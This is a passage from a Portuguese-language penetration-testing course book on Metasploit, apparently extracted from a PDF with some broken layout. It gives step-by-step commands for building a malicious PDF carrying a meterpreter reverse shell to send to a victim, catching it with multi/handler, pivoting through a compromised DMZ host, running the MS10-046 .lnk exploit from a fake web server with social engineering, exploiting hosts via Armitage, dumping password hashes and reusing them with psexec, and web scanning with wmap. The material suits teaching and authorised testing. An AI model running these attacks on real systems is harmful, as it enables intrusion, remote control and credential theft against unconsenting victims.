Vamos alterar as seguintes opes: FILENAME = Ser gerado o arquivo pdf com o nome aqui especificado por ns. INFILENAME = Aqui especificaremos um pdf como modelo para anexar nosso payload. OUTPUTPATH = o diretrio onde ser criado e armazenado o pdf.
> set FILENAME planilha2.pdf > set INFILENAME /root/planilha.pdf > set OUTPUTPATH /root/ > show options
Agora vamos configurar nosso payload, usarei o meterpreter reverse_tcp. Veja imagem abaixo: > set PAYLOAD windows/meterpreter/reverse_tcp > set LHOST 192.168.0.110 > set LPORT 4455 > exploit
Na imagem acima eu especifique meu payload (windows/meterpreter/reverse_tcp), especifiquei meu host local (LHOST 192.168.0.110), especifiquei minha porta local (LPORT 4455) e logo em seguida dei o comando exploit. Agora vamos enviar o nosso arquivo planilha2.pdf para nosso alvo/vtima. Mas antes vamos deixar o msf escutando com o exploit multi/handler, veja a configurao na imagem abaixo: > back > use exploit/multi/handler > set PAYLOAD windows/meterpreter/reverse_tcp > set LHOST 192.168.0.110 > set LPORT 4455 > exploit
Usamos
exploit
multi/handler,
nosso local
payload (LHOST
(windows/meterpreter/reverse_tcp),
especificamos
192.168.0.110), especificamos nossa porta que ficar escutando (LPORT 4455) e por fim, executamos com o comando exploit. O arquivo .pdf gerado pode ser enviado para o alvo que esteja executando em sua mquina o Windows XP SP3, por exemplo. Executado o arquivo .pdf, agora veja que ganhamos uma conexo meterpreter com o alvo!
O primeiro passo obviamente encontrar uma vulnerabilidade no servidor que se encontra na DMZ e explor-la usando como payload o meterpreter. No terminal do Metasploit digitamos:
> use [exploit que ataca a vulnerabilidade encontrada] > set PAYLOAD windows/meterpreter/bind_tcp > set RHOST [ip_host_dmz] exploit-que-ataca-a-vulnerabilidade-encontrada
Captulo 19 Metasploit Framework - 242 Agora precisamos saber o ID da sesso, para isso digitamos o seguinte no terminal do meterpreter: > sessions -l
O seguinte passo criar uma rota at a mquina que nosso objetivo final, indicando seu IP, a mscara e o ID de sesso que obtivemos no passo anterior: # route add [ip_maquina_objetivo] [Mscara de rede] [ID-Sesso]
Por ltimo, realizamos o ataque mquina objetivo, de forma normal, como se faria em qualquer outro caso, quer dizer, buscando a vulnerabilidade e aplicando o respectivo exploit. A diferena que devemos dizer ao Metasploit que deve passar pelo PC que j temos acesso: > use [exploit_necessrio] > set PAYLOAD windows/meterpreter/bind_tcp > set RHOST [mquina_objetivo] > exploit
19.12.8. Atacando mquinas Windows (XP, Vista, 7, 2003, 2008) atravs de um webserver falso
Essa explorao baseia-se na falha existente no Windows, em todas as suas verses, no que diz respeito a manipulao de arquivos .lnk. Essa falha, assim como seu exploit tornaram-se pblicos no final de na segunda quinzena de julho/2010. O mais interessante, que aps tornar pblica a falha, e consequentemente o exploit, que surgiu um dia depois da divulgao da falha por parte da Microsoft, a correo da mesma s foi sair quase um ms depois, deixando milhes de mquinas vulnerveis a esse simples, mas devastador ataque.
Captulo 19 Metasploit Framework - 243 Vamos l... O primeiro comando seleciona o explot que ser usado: > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader Caso queiramos mais informaes sobre o exploit e sua respectiva falha, podemos digitar o seguinte comando: > info Esse comando exibir, alm das informaes sobre a falha, as opes que precisamos configurar para o correto funcionamento do exploit. As opes obrigatrias so: SRVHOST, SRVPORT Vamos configur-las: > set SRVHOST 192.168.0.83 Esse ltimo comando, permitir configurarmos o IP no qual o servidor web falso ser montado para que a vtima acesso-o. No comando abaixo, vamos configurar a porta na qual o servidor ficar escutando, espera de uma conexo: > set SRVPORT 80 Havendo configurado a parte bsica do exploit, precisamos configurar o que ele far aps explorar a falha no navegador da vtima, isso , o payload: > set PAYLOAD windows/meterpreter/reverse_tcp > set LHOST 192.168.0.83 > set LPORT 4444 Tudo configurado, funcionando bem, sem nenhum erro, simplesmente lanamos o exploit e aguardamos a vtima conectar em nosso servidor falso: > exploit Para conseguirmos que a vtima conecte-se, nada como um bom e velho ataque de engenharia social :-)
19.13. Armitage
A distribuio BackTrack conta agora com mais uma opo de usabilidade do Metasploit, essa nova opo a Armitage. O Armitage uma GUI (interface grfica) para Metasploit, que torna todo o processo de explorao simplificado, ao alcance de at mesmo um usurio com pouco conhecimento em Hacking, basta dar alguns cliques e pronto, sistema explorado. O Armitage esta disponvel para downloads no repositrio do BackTrack, e pode ser baixado e instalado atravs do comando "apt-get install armitage". Lembrando que antes de instalar o armitage, pode ser necessrio atualizar o repositrio do backtrack, para isso d o comando "apt-get update".
O Armitage comunica-se com o Metasploit atravs do daemon RPC, ento precisamos inici-lo. root@bt:~# msfrpcd -f -U msf -P test -t Basic [*] XMLRPC starting on 0.0.0.0:55553 (SSL):Basic...
A prxima coisa se fazer iniciar o Mysql Server para que o Armitage possa armazenar os resultados. root@bt:~# /etc/init.d/mysql start Starting MySQL database server: mysqld. Checking for corrupt, not cleanly closed and upgrade needing tables.. root@bt:~#
Por
ltimo,
executamos
"armitage.sh"
partir
da
pasta
/pentest/exploit/armitage, e poderemos visualizar a caixa de di-logo de conexo. No Backtrack, as credenciais default para o MySQL so root/toor e para o PostgresSQL, postgres/toor. root@bt:/# cd /pentest/exploits/armitage root@bt:/pentest/exploits/armitage# ./armitage.sh
Selecionamos a opo "Use SSL", verificamos os restante das configuraes e clicamos em "Connect". Aps isso, a janela principal do Armitage exibida.
Aps clicar em "Launch", precisamos aguardar um pouco para que a varredura se complete e os hosts detectados sejam exibidos. As figuras dos hosts indicam que so mquinas WinXP ou 2003 Server.
Se houver algum host que no queiramos utilizar como alvo, eles podem ser removidos clicando com o boto direito, expandindo o menu "Host", e selecionando a opo "Remove Host". Podemos ver na figura abaixo, o resultado de nossa varredura, que h dois alvos 2003 Server que podemos selecionar para realizar varreduras adicionais. Perceba que o Armitage configura o valor de RHOSTS baseado em nossa seleo.
Clicando com o boto direito e selecionando "Services" uma nova aba se abrir exibindo todos os servios que foram varridos no sistema alvo.
Mesmo com essas simples varreduras, podemos ver que conseguimos muitas informaes sobre nossos alvos que so apresentadas para ns em uma interface bem amigvel. Adicionalmente, todas as informaes so armazenadas em nosso banco de dados MySQL. mysql> use msf3; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed mysql> select address,os_flavor from hosts; +---------------+-----------------+ | address | os_flavor | +---------------+-----------------+ | 192.168.1.205 | Windows 2003 R2 | | 192.168.1.204 | Windows 2003 R2 | | 192.168.1.206 | Windows XP | 192.168.1.201 | Windows XP | 192.168.1.203 | Windows XP +---------------+-----------------+ 5 rows in set (0.00 sec) mysql> | | |
Captulo 19 Metasploit Framework - 251 Assim como na varredura que conduzimos anteriormente, toda a configurao necessria foi feita para ns. Tudo o que precisamos clicar em "Launch" e aguardar a sesso do Meterpreter ser aberta para ns. Veja na imagem abaixo que as figuras dos alvos foi alterada para indicar que um deles foi explorado.
Quando clicamos com o boto direito no host explorado, podemos ver novas opes teis disponveis.
Fazemos o dump dos hashes no sistema explorado em uma tentativa de recuperar a senha e utiliz-la para explorar outros alvos. Selecionando os demais hosts, usamos o mdulo "psexec" com o login "Administrator" e o hash da senha que j conseguimos.
em
Como podemos ver, o Armitage nos proporciona uma excelente interface para o Metasploit que pode nos economizar muito tempo em alguns casos. E possvel encontrar mais informaes em seu site: http://www.fastandeasyhacking.com/media .
-----------
-s [urls] (level) Display site structure (vhost,url) msf > wmap_sites -a dominio-a-partir-do-www,ip-vlido
Aps isso, acrescentamos o alvo que desejamos varrer utilizando o comando "wmap_targets -t". msf > wmap_targets -t dominio-a-partir-do-www,ip-vlido
Usando o comando "wmap_run" iniciaremos a varredura do sistema alvo. Primeiro usamos o parmetro "-t" para listar os mdulos que sero usados para varrer o sistema remoto. msf > wmap_run -h [*] Usage: wmap_run [options] -h -t matched targets. Display this help text Show all matching exploit modules Launch profile test modules against all
-e [profile]
Captulo 19 Metasploit Framework - 255 No profile runs all enabled modules. msf > wmap_run -t [*] Loaded auxiliary/scanner/http/webdav_website_content ... [*] Loaded auxiliary/scanner/http/http_version ... [*] Loaded auxiliary/scanner/http/webdav_scanner ... [*] Loaded auxiliary/scanner/http/svn_scanner ... [*] Loaded auxiliary/scanner/http/soap_xml ... ...corte...
Tudo o que resta agora realizar a varredura contra nossa URL alvo. msf > wmap_run -e [*] Using ALL wmap enabled modules. [*] Launching auxiliary/scanner/http/webdav_website_content WMAP_SERVER against 192.168.1.204:80 [*] Found file or directory in WebDAV response (192.168.1.204)
http://192.168.1.204/ [*] Scanned 1 of 1 hosts (100% complete) [*] Launching auxiliary/scanner/http/http_version WMAP_SERVER against 192.168.1.204:80 [*] 192.168.1.204 Microsoft-IIS/6.0 ...corte... [*] Scanned 1 of 1 hosts (100% complete) [*] Launching auxiliary/scanner/http/dir_listing WMAP_DIR / against 192.168.1.204:80... [*] Scanned 1 of 1 hosts (100% complete) msf >
Captulo 19 Metasploit Framework - 256 ver se o wmap encontrou algo de interessante. msf > db_hosts -c address,svcs,vulns Hosts ===== address ------svcs vulns ---- ----1
reportou uma
msf > db_vulns [*] Time: Thu Nov 25 00:50:27 UTC 2010 Vuln: host=192.168.1.204 port=80 proto=tcp name=HTTP-TRACE-ENABLED refs=BAhbByIIQ1ZFIg4yMDA1LTMzOTg= ,BAhbByIIQ1ZFIg4yMDA1LTM0OTg= ,BAhbByIKT1NWREIiCDg3Nw== ,BAhbByIIQklEIgoxMTYwNA== ,BAhbByIIQklEIgk5NTA2 ,BAhbByIIQklEIgk5NTYx msf >
A informao sobre a vulnerabilidade est codificada no formato base64, e por isso precisamos decodific-la. Podemos usar o openssl para isso.
Captulo 19 Metasploit Framework - 257 msf > echo "BAhbByIIQ1ZFIg4yMDA1LTMzOTg=" | openssl base64 -d [*] exec: echo "BAhbByIIQ1ZFIg4yMDA1LTMzOTg=" | openssl base64 -d [CVE"2005-3398 msf >
Podemos agora usar essa informao para conseguir mais detalhes obre a vulnerabilidades reportada. Como pentesters, devemos investigar cada informao encontrada e identificar se h potenciais mtodos de ataque.
19.16. Contramedidas
Manter todos os aplicativos atualizados Aplicar patches de correo e segurana Manter regras de firewall bem configuradas